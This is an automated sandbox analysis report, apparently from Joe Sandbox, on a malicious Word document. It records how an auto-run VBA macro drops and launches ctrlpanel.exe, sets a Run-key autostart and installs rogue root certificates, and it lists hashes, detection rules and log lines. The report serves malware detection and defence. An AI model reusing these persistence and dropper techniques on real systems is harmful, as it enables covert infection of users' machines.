Edit tour

Windows Analysis Report
3pGxYMbJaA.doc

Overview

General Information

Sample name:	3pGxYMbJaA.doc renamed because original name is a hash value
Original sample name:	5085081555c33c077b762af1bcc60d63.docx.doc
Analysis ID:	1432121
MD5:	5085081555c33c077b762af1bcc60d63
SHA1:	a3241daaeea08a752275dec2e7ce5c0eefb7984e
SHA256:	36526ab0af0fdae50ab631a47b7c79389210408b47abd87f244b93aacaced06a
Tags:	docUKR
Infos:

Detection

Dynamer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Dynamer

Document contains an embedded VBA macro which may execute processes

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Installs new ROOT certificates

Machine Learning detection for sample

Office process drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 924 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

ctrlpanel.exe (PID: 724 cmdline: c:\Users\Public\ctrlpanel.exe MD5: 40D2CCD570BD898CC31AF1CBFE5FB08E)

WINWORD.EXE (PID: 892 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\ctrlpanel.exe	JoeSecurity_Dynamer	Yara detected Dynamer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.356162741.0000000000E02000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Dynamer	Yara detected Dynamer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
2.0.ctrlpanel.exe.e00000.0.unpack	JoeSecurity_Dynamer	Yara detected Dynamer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: c:\Users\Public\ctrlpanel.exe, CommandLine: c:\Users\Public\ctrlpanel.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\ctrlpanel.exe, NewProcessName: C:\Users\Public\ctrlpanel.exe, OriginalFileName: C:\Users\Public\ctrlpanel.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ParentProcessId: 924, ParentProcessName: WINWORD.EXE, ProcessCommandLine: c:\Users\Public\ctrlpanel.exe, ProcessId: 724, ProcessName: ctrlpanel.exe

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 924, TargetFilename: c:\Users\Public\ctrlpanel.exe

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: c:\Users\Public\ctrlpanel.exe, CommandLine: c:\Users\Public\ctrlpanel.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\ctrlpanel.exe, NewProcessName: C:\Users\Public\ctrlpanel.exe, OriginalFileName: C:\Users\Public\ctrlpanel.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ParentProcessId: 924, ParentProcessName: WINWORD.EXE, ProcessCommandLine: c:\Users\Public\ctrlpanel.exe, ProcessId: 724, ProcessName: ctrlpanel.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: c:\Users\Public\ctrlpanel.exe, CommandLine: c:\Users\Public\ctrlpanel.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\ctrlpanel.exe, NewProcessName: C:\Users\Public\ctrlpanel.exe, OriginalFileName: C:\Users\Public\ctrlpanel.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ParentProcessId: 924, ParentProcessName: WINWORD.EXE, ProcessCommandLine: c:\Users\Public\ctrlpanel.exe, ProcessId: 724, ProcessName: ctrlpanel.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\Users\Public, EventID: 13, EventType: SetValue, Image: C:\Users\Public\ctrlpanel.exe, ProcessId: 724, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ctrlpanel

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 924, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 3pGxYMbJaA.doc

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\ctrlpanel.exe	ReversingLabs: Detection: 65%
Source: C:\Users\Public\ctrlpanel.exe	Virustotal: Detection: 70%			Perma Link

Multi AV Scanner detection for submitted file

Source: 3pGxYMbJaA.doc	ReversingLabs: Detection: 68%
Source: 3pGxYMbJaA.doc	Virustotal: Detection: 64%			Perma Link

Machine Learning detection for sample

Source: 3pGxYMbJaA.doc

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: E:\Projects\OfflRouter2\OfflRouter2\obj\Release\ctrlpanel.pdb source: ctrlpanel.exe, 00000002.00000000.356185956.0000000000E06000.00000008.00000001.01000000.00000003.sdmp, ctrlpanel.exe.0.dr

Source: C:\Users\Public\ctrlpanel.exe	Directory queried: number of queries: 1341
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Directory queried: number of queries: 1233

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: c:\Users\Public\ctrlpanel.exe

Jump to behavior

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: ctrlpanel.exe.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Users\Public\ctrlpanel.exe

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{78CED7D2-664E-4EA9-A793-1417CC607F1A}.tmp

Jump to behavior

Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: ctrlpanel.exe, 00000002.00000002.634970616.000000001ADF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

E-Banking Fraud

Yara detected Dynamer

Source: Yara match	File source: 2.0.ctrlpanel.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.356162741.0000000000E02000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Public\ctrlpanel.exe, type: DROPPED

System Summary

Document contains an embedded VBA macro which may execute processes

Source: 3pGxYMbJaA.doc	OLE, VBA macro line: Call Shell(ShS)
Source: ~DFA1C4053935793537.TMP.0.dr	OLE, VBA macro line: JbxHook_Shell_1_ = Shell(jbxparam0)
Source: 3pGxYMbJaA.doc.2.dr	OLE, VBA macro line: JbxHook_Shell_1_ = Shell(jbxparam0)

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\Public\ctrlpanel.exe

Jump to dropped file

Source: C:\Users\Public\ctrlpanel.exe

Code function: 2_2_000007FF0016232D

2_2_000007FF0016232D

Source: 3pGxYMbJaA.doc	OLE, VBA macro line: Private Sub Document_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Document_Open	Name: Document_Open
Source: ~DFA1C4053935793537.TMP.0.dr	OLE, VBA macro line: Private Sub Document_Open()
Source: 3pGxYMbJaA.doc.2.dr	OLE, VBA macro line: Private Sub Document_Open()

Source: 3pGxYMbJaA.doc	OLE indicator, VBA macros: true
Source: ~DFA1C4053935793537.TMP.0.dr	OLE indicator, VBA macros: true
Source: 3pGxYMbJaA.doc.2.dr	OLE indicator, VBA macros: true

Source: ~DFA1C4053935793537.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Joe Sandbox View

Dropped File: C:\Users\Public\ctrlpanel.exe 10E720FBCF797A2F40FBAA214B3402DF14B7637404E5E91D7651BD13D28A69D8

Source: classification engine

Classification label: mal100.troj.expl.winDOC@4/81@0/0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$GxYMbJaA.doc

Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe	Mutant created: NULL
Source: C:\Users\Public\ctrlpanel.exe	Mutant created: \Sessions\1\BaseNamedObjects\ctrlpanelapppppp

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR80C3.tmp

Jump to behavior

Source: 3pGxYMbJaA.doc	OLE indicator, Word Document stream: true
Source: 3pGxYMbJaA.doc.2.dr	OLE indicator, Word Document stream: true

Source: 3pGxYMbJaA.doc	OLE document summary: title field not present or empty
Source: 3pGxYMbJaA.doc	OLE document summary: edited time not present or 0
Source: ~DFA1C4053935793537.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DFA1C4053935793537.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DFA1C4053935793537.TMP.0.dr	OLE document summary: edited time not present or 0
Source: 3pGxYMbJaA.doc.2.dr	OLE document summary: title field not present or empty
Source: 3pGxYMbJaA.doc.2.dr	OLE document summary: edited time not present or 0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3pGxYMbJaA.doc	ReversingLabs: Detection: 68%
Source: 3pGxYMbJaA.doc	Virustotal: Detection: 64%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Users\Public\ctrlpanel.exe c:\Users\Public\ctrlpanel.exe
Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Users\Public\ctrlpanel.exe c:\Users\Public\ctrlpanel.exe	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Section loaded: sxs.dll	Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: 3pGxYMbJaA.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\3pGxYMbJaA.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\Public\ctrlpanel.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\Public\ctrlpanel.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\Public\ctrlpanel.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\Public\ctrlpanel.exe

Jump to dropped file

Source: C:\Users\Public\ctrlpanel.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ctrlpanel			Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ctrlpanel			Jump to behavior

Source: C:\Users\Public\ctrlpanel.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
